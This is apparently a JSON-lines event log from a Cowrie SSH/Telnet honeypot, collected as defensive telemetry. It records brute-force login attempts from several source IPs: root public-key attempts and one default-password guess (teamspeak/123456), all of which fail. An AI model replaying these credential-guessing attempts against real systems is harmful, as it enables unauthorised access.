{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:60:2b:7d:ce:f5:1b:83:57:03:e6:55:ba:99:42:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPZxIpPi2frEsnkNmyUL4wvS+gQbwinoCo6ZzZ2HjJ0xjZRrqnmv6KFO87J2TOmhYCIiJ7664yiVKTPLQZRYJd7vk48Zl/o+WejTQiLRc8/K1sovU6LEBKvQyiXNKLftNviPn7y07c/FJUd6/KoGFb82u3SRik1U1TXlCG/O1OPUR5bQ9vs1Z0TJ32zsNCH+eVMM0beZ2OVH9W+jxb0Rye0io9SFvYMFDbsaxvDmZ03khOGH0qe44stCz7UuDk0RMafJVf7E928l/JeqEXqheJMb3Ab8BN4gkrnEjBh6yD2gy8JwOWRa8KUS1DCRyuCWZg1Q9UDK3izSvZblva2UTx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:60:2b:7d:ce:f5:1b:83:57:03:e6:55:ba:99:42:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.761358Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:60:2b:7d:ce:f5:1b:83:57:03:e6:55:ba:99:42:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPZxIpPi2frEsnkNmyUL4wvS+gQbwinoCo6ZzZ2HjJ0xjZRrqnmv6KFO87J2TOmhYCIiJ7664yiVKTPLQZRYJd7vk48Zl/o+WejTQiLRc8/K1sovU6LEBKvQyiXNKLftNviPn7y07c/FJUd6/KoGFb82u3SRik1U1TXlCG/O1OPUR5bQ9vs1Z0TJ32zsNCH+eVMM0beZ2OVH9W+jxb0Rye0io9SFvYMFDbsaxvDmZ03khOGH0qe44stCz7UuDk0RMafJVf7E928l/JeqEXqheJMb3Ab8BN4gkrnEjBh6yD2gy8JwOWRa8KUS1DCRyuCWZg1Q9UDK3izSvZblva2UTx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.765402Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:79:c1:b2:0c:e4:51:a0:bd:3d:4c:d0:3e:11:49:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfAzV0eri3ort8iyE71lRSkMzmBXiLjTxCosyNqsdEJ3rudyIFr+N/Cu+CMHj5mQXzC32rdNpZcpSgU78DG1jOMYF9103vgJ7VexqBKQjcXNda+RQ/adL7Pj/DHxXj+A1kzYGNdaWDVNW8rbYpPehtSJFOIrfzpLmdiKP9L3xxeM6a6kNqUH6qV4rh68p9fuXEYNzN4hVZF4tOUk4aNP+S2A5PdDAJ45o/mz5LYW+A/PhPihQkksIvh0hbHYF3wG6BhNUrmNeN05sHiWuQi++eJn3gkVaZ/tU234QZRF4FQTNSgq3UqOIvi5byG/nY0JB8SpgejxjyZ+x4oW6qINKh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:79:c1:b2:0c:e4:51:a0:bd:3d:4c:d0:3e:11:49:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.859446Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:79:c1:b2:0c:e4:51:a0:bd:3d:4c:d0:3e:11:49:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfAzV0eri3ort8iyE71lRSkMzmBXiLjTxCosyNqsdEJ3rudyIFr+N/Cu+CMHj5mQXzC32rdNpZcpSgU78DG1jOMYF9103vgJ7VexqBKQjcXNda+RQ/adL7Pj/DHxXj+A1kzYGNdaWDVNW8rbYpPehtSJFOIrfzpLmdiKP9L3xxeM6a6kNqUH6qV4rh68p9fuXEYNzN4hVZF4tOUk4aNP+S2A5PdDAJ45o/mz5LYW+A/PhPihQkksIvh0hbHYF3wG6BhNUrmNeN05sHiWuQi++eJn3gkVaZ/tU234QZRF4FQTNSgq3UqOIvi5byG/nY0JB8SpgejxjyZ+x4oW6qINKh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.863256Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:77:1d:80:c5:fd:13:ed:41:a3:f8:85:fd:bb:e6:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbM2hzRJ9TlOZgP1qnqIGoYtuOdmsm1CbfLefC/ja4DgetbT1B/7fyheye6fBiz8c13bKqKWFg9MULMRmrHEpXkgdpRfGRickDtQpRaiuXuMD8DkqfeeqOt98RnCCMTVio+hBMI3pxgWGSk3MgliQJg0aN7+VqTpfxCEAEmBP9C9Cbahc8OWJnIXBApOtkxtqSExsvjbzhQdr6SUR7Wj3nvmz8CsfbPveMfkvZpjah+9dfeZAb5aIPauH62tKvSdACPutvbvCzxw8WionerXz++rd0M/BdySMDkeJzu7vCJ10rUAp5Zc0U/gWEDtc/4xD3eB6eDIXXwfn0ulXP2lOhpOMCUzhHimuRUKCXgvsL4In5PjYKxHprlxtxl+rUGZSzZQbpCJ3YjjlL2ZjxYep5sFyQjKFoPKsch96Fm/gUGEqGjhdUfRsijp5KuOeV8SytsHSmdZm/woIBKLJNiQ8MJoaVjHapk6n5vxdCmT2eVamqFZwhS8C2My0KsdkQ6EDj0UNY0KfleO/GKbo9Il0uJCvkHH+8n6jckubVdelemdxA6jGcBkCJmVqjwetmuSurqgCNyM1c+cqdD+OzIAbKjb5yFgISgVdbkfGAM2TJwoiGNKMGvsVUtOaWjsa4q3AgBEecFa5aMNubb+xoySjcQYZrdqV7IGfLV/UX+WnT8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:77:1d:80:c5:fd:13:ed:41:a3:f8:85:fd:bb:e6:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.956059Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:77:1d:80:c5:fd:13:ed:41:a3:f8:85:fd:bb:e6:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbM2hzRJ9TlOZgP1qnqIGoYtuOdmsm1CbfLefC/ja4DgetbT1B/7fyheye6fBiz8c13bKqKWFg9MULMRmrHEpXkgdpRfGRickDtQpRaiuXuMD8DkqfeeqOt98RnCCMTVio+hBMI3pxgWGSk3MgliQJg0aN7+VqTpfxCEAEmBP9C9Cbahc8OWJnIXBApOtkxtqSExsvjbzhQdr6SUR7Wj3nvmz8CsfbPveMfkvZpjah+9dfeZAb5aIPauH62tKvSdACPutvbvCzxw8WionerXz++rd0M/BdySMDkeJzu7vCJ10rUAp5Zc0U/gWEDtc/4xD3eB6eDIXXwfn0ulXP2lOhpOMCUzhHimuRUKCXgvsL4In5PjYKxHprlxtxl+rUGZSzZQbpCJ3YjjlL2ZjxYep5sFyQjKFoPKsch96Fm/gUGEqGjhdUfRsijp5KuOeV8SytsHSmdZm/woIBKLJNiQ8MJoaVjHapk6n5vxdCmT2eVamqFZwhS8C2My0KsdkQ6EDj0UNY0KfleO/GKbo9Il0uJCvkHH+8n6jckubVdelemdxA6jGcBkCJmVqjwetmuSurqgCNyM1c+cqdD+OzIAbKjb5yFgISgVdbkfGAM2TJwoiGNKMGvsVUtOaWjsa4q3AgBEecFa5aMNubb+xoySjcQYZrdqV7IGfLV/UX+WnT8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.959820Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:db:59:5c:28:72:a0:ba:d0:38:ef:76:f2:dc:cb:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkUApLkbeegUTsYyiU+Rpco785rbgXBrUxTptpSgK4zg1qj4/PN4gR54lPgVxmR+Qn5lA69WBNy43bi10eqZtViigQE7xcgu7ir6lCgcKBaWe57Wr2x9YvR4WlkT5g9axFXNC3kCjSlyWzA+sNNp0ewo3TzRw3qslJFBCsj7C2QrSsEa+b2I/qw4xoRTo4YVgn5aMuGOJI8zlza3sjuQg6PjRk7s2bdybXxbg6b7q68EVuOyXhI4HvNr2a3qdYSm6SHhb2wsdFENV+l2zaoqj0s86PK81D7Qc9dMLaUc4uB0sdCEQZd1om/3QlfWsD1Tnn4NGr+9g14isxCKw/oPEttvM57BDcltNygymuRPtxmjnnNxQQQ5Ub6y3NoeTpQ4EMpnOag+OeOBF00Dp5UgjiRTOq/8CYCAuPX/AKtFN7EnwygP8dI0TShwrSx8DohV4ZmaFDAloWFRQbqlq82GlE5o2DLfnlu5HmjJn4hx43ursZJwE7CQ7LJuedt7V+Rx0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:db:59:5c:28:72:a0:ba:d0:38:ef:76:f2:dc:cb:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.052568Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:db:59:5c:28:72:a0:ba:d0:38:ef:76:f2:dc:cb:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkUApLkbeegUTsYyiU+Rpco785rbgXBrUxTptpSgK4zg1qj4/PN4gR54lPgVxmR+Qn5lA69WBNy43bi10eqZtViigQE7xcgu7ir6lCgcKBaWe57Wr2x9YvR4WlkT5g9axFXNC3kCjSlyWzA+sNNp0ewo3TzRw3qslJFBCsj7C2QrSsEa+b2I/qw4xoRTo4YVgn5aMuGOJI8zlza3sjuQg6PjRk7s2bdybXxbg6b7q68EVuOyXhI4HvNr2a3qdYSm6SHhb2wsdFENV+l2zaoqj0s86PK81D7Qc9dMLaUc4uB0sdCEQZd1om/3QlfWsD1Tnn4NGr+9g14isxCKw/oPEttvM57BDcltNygymuRPtxmjnnNxQQQ5Ub6y3NoeTpQ4EMpnOag+OeOBF00Dp5UgjiRTOq/8CYCAuPX/AKtFN7EnwygP8dI0TShwrSx8DohV4ZmaFDAloWFRQbqlq82GlE5o2DLfnlu5HmjJn4hx43ursZJwE7CQ7LJuedt7V+Rx0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.056470Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:96:48:e0:60:97:62:0d:ea:cd:3e:ee:ae:80:e5:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDt319SbiOQeoB0t9VD7+vuvPV9B27Geroh/q10YeUW94HE9dWBpDJJORfv4iv4FfBNUo+N998uU/wfIYz+WOZLwt3J2IMdfvV0s8ufkSZMnCUYQdAt8On1d0RHCE8IyJHpNpUL28oveJnBcLQk2MFRPYy3Ae3IMko8FbRp0kEZAxsPoNVkLNHknnQyHlLvxo6i5hhLiKwqGMpD5QJNpcTqFqbWAAHaX8C2XUIoZOPE/yB7qadZKKsxNHd2T30JkJspr8333i6uPGarSHpGd85ZVVMeKOIBKOGrU1TQ0kn8Du8x/DJ3kuvELwlcVpHnxgwdWjGTpkpUzqNrO5nq2NCvz0oOyFjhZq2PiKGIAe01qiuZ/3gSTaH7RZ9wcSDvmVtz5hSf60JZruuhHeaEHIgdGnYhBVzS9913Gj+o5b2wRxKheZR4SMlvXsG8gXxn11tzJLVt+mKkZTEB+TAcuCVJRQdEckXyPYTPH+WDrY5FX8khQBk2CZ920vWgBY05yu8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:96:48:e0:60:97:62:0d:ea:cd:3e:ee:ae:80:e5:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.149415Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:96:48:e0:60:97:62:0d:ea:cd:3e:ee:ae:80:e5:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDt319SbiOQeoB0t9VD7+vuvPV9B27Geroh/q10YeUW94HE9dWBpDJJORfv4iv4FfBNUo+N998uU/wfIYz+WOZLwt3J2IMdfvV0s8ufkSZMnCUYQdAt8On1d0RHCE8IyJHpNpUL28oveJnBcLQk2MFRPYy3Ae3IMko8FbRp0kEZAxsPoNVkLNHknnQyHlLvxo6i5hhLiKwqGMpD5QJNpcTqFqbWAAHaX8C2XUIoZOPE/yB7qadZKKsxNHd2T30JkJspr8333i6uPGarSHpGd85ZVVMeKOIBKOGrU1TQ0kn8Du8x/DJ3kuvELwlcVpHnxgwdWjGTpkpUzqNrO5nq2NCvz0oOyFjhZq2PiKGIAe01qiuZ/3gSTaH7RZ9wcSDvmVtz5hSf60JZruuhHeaEHIgdGnYhBVzS9913Gj+o5b2wRxKheZR4SMlvXsG8gXxn11tzJLVt+mKkZTEB+TAcuCVJRQdEckXyPYTPH+WDrY5FX8khQBk2CZ920vWgBY05yu8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.154524Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.249476Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.618039Z","src_ip":"62.133.63.178","session":"bee60504baf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56532,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9a92a24bf8","protocol":"ssh","message":"New connection: 45.156.87.204:56532 (159.203.135.109:22) [session: 4f9a92a24bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.722168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.727107Z","src_ip":"45.156.87.204","session":"4f9a92a24bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.809243Z","src_ip":"45.156.87.204","session":"4f9a92a24bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e61f2cc15f","protocol":"telnet","message":"New connection: 152.42.224.71:46464 (10.17.0.5:23) [session: 75e61f2cc15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:42.935985Z"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:43.056522Z","src_ip":"45.156.87.204","session":"4f9a92a24bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46466,"dst_ip":"10.17.0.5","dst_port":23,"session":"03963441337d","protocol":"telnet","message":"New connection: 152.42.224.71:46466 (10.17.0.5:23) [session: 03963441337d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:43.829078Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.146322Z","src_ip":"45.156.87.204","session":"4f9a92a24bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.99.193.143","src_port":3310,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5711a2def2","protocol":"ssh","message":"New connection: 88.99.193.143:3310 (10.17.0.5:22) [session: 5a5711a2def2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.150556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.158247Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.253083Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:46:e8:b9:91:04:b8:71:9c:ea:9f:14:df:80:b2:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5ohMUpiq5+ehKE6+yoFQLfjtyqxghuof0eMGgfR7iZjdp11c97JfL+CmuMP37OCGgfmRXnltIEF+rLWtSE6M7JlGnCxGQUtEK9sIFUZCA3GlDZ5zbXD93WPT1MByhvJt6sPG18K12JkY4d7Y3+Vg+z7pW0SXC42eXjrUji4eLgHfFtKxKN79OpJqDTm+ObKvohxq9qquaGstDfjUpohxac8dBfxye/opQ2uByLPDrj0BiPMSZKLuK3IXoMw7SfS9vD9cUGrTqeihkzHiBrKCFfcsoiToK/AQ/+hOvl2IsrZuRKFW7wCLhrvWyJr5AV9VooYM8g0zNOalXQZKgpWkjJlSAL0ZnNOlJmg2KptwXV87m2JalFF/JdhKp7NxjrjV+AZ004MG7V/VLvqIxxAGUDCw1jFdTwSv2RnXMIE4sVN7AJXhThGvMebDzhlHKpAY/SpC6MkosJjjGGil8bhGEV8+iziIaY90LerT8+zXjy86pJaEaycxdlwJmqfNi5HJVrrszwmfaZ2/cfQDsyK1099Uy7FxpbjEKL0mRfX4LE/e8vZF/6h8rAmxY9ThTog4xfAi8wYnMaIf11yBqdWvYSeFsteIvCv2vRsR2xPA+zolH4j4Xs67iryBfM+UbYfx5qvUhE5hL0UCgNjuUsvksIl1t+4FbliGzrxtumajF1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:46:e8:b9:91:04:b8:71:9c:ea:9f:14:df:80:b2:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.699172Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:46:e8:b9:91:04:b8:71:9c:ea:9f:14:df:80:b2:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5ohMUpiq5+ehKE6+yoFQLfjtyqxghuof0eMGgfR7iZjdp11c97JfL+CmuMP37OCGgfmRXnltIEF+rLWtSE6M7JlGnCxGQUtEK9sIFUZCA3GlDZ5zbXD93WPT1MByhvJt6sPG18K12JkY4d7Y3+Vg+z7pW0SXC42eXjrUji4eLgHfFtKxKN79OpJqDTm+ObKvohxq9qquaGstDfjUpohxac8dBfxye/opQ2uByLPDrj0BiPMSZKLuK3IXoMw7SfS9vD9cUGrTqeihkzHiBrKCFfcsoiToK/AQ/+hOvl2IsrZuRKFW7wCLhrvWyJr5AV9VooYM8g0zNOalXQZKgpWkjJlSAL0ZnNOlJmg2KptwXV87m2JalFF/JdhKp7NxjrjV+AZ004MG7V/VLvqIxxAGUDCw1jFdTwSv2RnXMIE4sVN7AJXhThGvMebDzhlHKpAY/SpC6MkosJjjGGil8bhGEV8+iziIaY90LerT8+zXjy86pJaEaycxdlwJmqfNi5HJVrrszwmfaZ2/cfQDsyK1099Uy7FxpbjEKL0mRfX4LE/e8vZF/6h8rAmxY9ThTog4xfAi8wYnMaIf11yBqdWvYSeFsteIvCv2vRsR2xPA+zolH4j4Xs67iryBfM+UbYfx5qvUhE5hL0UCgNjuUsvksIl1t+4FbliGzrxtumajF1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.702778Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:0e:05:06:4b:2a:e9:42:0d:38:6a:5e:3a:37:6b:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU7FcYpQndjo7o6gp/9tbTZMZ4oX2TTaeI/NbbBTeDt0iup/+GUA1nMfEJsB9MWp1AIU3xwYH+BJXRE0q5S0KuefZvz4hV+571w4g/bBKTl6H70KeaAxJhDpjtDIZE8pXuFXiDlJ/T+KOneLEUw9GLogVRZIX9rFgkuf7nlZqYmS8mp1kqwfK3zgCMdnILz8k/Fl72zBcE963P7idOJA0XEkZuIb0ntnMm70Kwy7X+2LopnJgB2ExXwD6JowLk9x/7TglOvf3vOpG2i0yP/TWrddprIpMf2f9TwsiRR1VQXZSh+lMtU2Uw0eB3PPYiYzfvlTWCZLcjldZn0FWs9lub","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:0e:05:06:4b:2a:e9:42:0d:38:6a:5e:3a:37:6b:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.796813Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:0e:05:06:4b:2a:e9:42:0d:38:6a:5e:3a:37:6b:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU7FcYpQndjo7o6gp/9tbTZMZ4oX2TTaeI/NbbBTeDt0iup/+GUA1nMfEJsB9MWp1AIU3xwYH+BJXRE0q5S0KuefZvz4hV+571w4g/bBKTl6H70KeaAxJhDpjtDIZE8pXuFXiDlJ/T+KOneLEUw9GLogVRZIX9rFgkuf7nlZqYmS8mp1kqwfK3zgCMdnILz8k/Fl72zBcE963P7idOJA0XEkZuIb0ntnMm70Kwy7X+2LopnJgB2ExXwD6JowLk9x/7TglOvf3vOpG2i0yP/TWrddprIpMf2f9TwsiRR1VQXZSh+lMtU2Uw0eB3PPYiYzfvlTWCZLcjldZn0FWs9lub","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:44.800601Z","src_ip":"88.99.193.143","session":"5a5711a2def2","protocol":"ssh"}
